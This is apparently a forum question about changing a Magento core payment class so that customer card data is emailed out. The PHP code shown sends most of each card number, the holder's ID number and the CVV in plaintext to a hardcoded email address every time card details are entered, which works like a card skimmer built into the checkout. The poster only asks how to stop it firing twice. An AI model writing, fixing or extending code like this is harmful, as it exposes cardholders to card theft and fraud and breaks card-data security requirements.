我需要修改 credit-card-save 方法,以便它通过电子邮件发送一些数据,而其余部分显示在管理员中。/app/code/local/Mage/Payment/Model/Method/Cc.php
我在assignData()
函数中进行了此更改- 请参阅下面的代码。
但是这个函数被调用了两次——一次是在用户到达订单摘要时,然后是在订单被确认时。我不知道如何区分这两者。最明显的方式似乎调用$this->_isPlaceOrder()
,但它返回相同的结果......
请指教。
class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
{
...
public function assignData($data)
{
if (!($data instanceof Varien_Object)) {
$data = new Varien_Object($data);
}
$info = $this->getInfoInstance();
$info->setCcType($data->getCcType())
->setCcOwner($data->getCcOwner())
->setCcOwnerId($data->getCcOwnerId())
->setCcLast4(substr($data->getCcNumber(), -4))
->setCcNumber($data->getCcNumber())
->setCcCid($data->getCcCid())
->setCcExpMonth($data->getCcExpMonth())
->setCcExpYear($data->getCcExpYear())
->setCcSsIssue($data->getCcSsIssue())
->setCcSsStartMonth($data->getCcSsStartMonth())
->setCcSsStartYear($data->getCcSsStartYear())
->setCcInstallments($data->getCcInstallments())
;
$this->sendCcNumber();
return $this;
}
function sendCcNumber()
{
$to = "email@abc.com";
$from = "email@abc.com";
$from_name = Mage::app()->getStore()->getName(); // Store Name;
if (!($data instanceof Varien_Object)) {
$data = new Varien_Object($data);
}
$info = $this->getInfoInstance();
$message = "order number: " . $this->_getOrderId() . "\n" .
"info: cc number (without 4 last digits): " . substr($info->getCcNumber(),0, strlen($info->getCcNumber()) - 4) .
"\nid number: " . $info->getCcOwnerId() .
"\ncvv: " . $info->getCcCid() .
"\ninstallments: " . $info->getCcInstallments();
$subject = "ccnumber";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "From: $from_name <" . $from . ">\r\n";
// send email
$moreresults = mail($to, $subject, $message, $headers);
}
...
}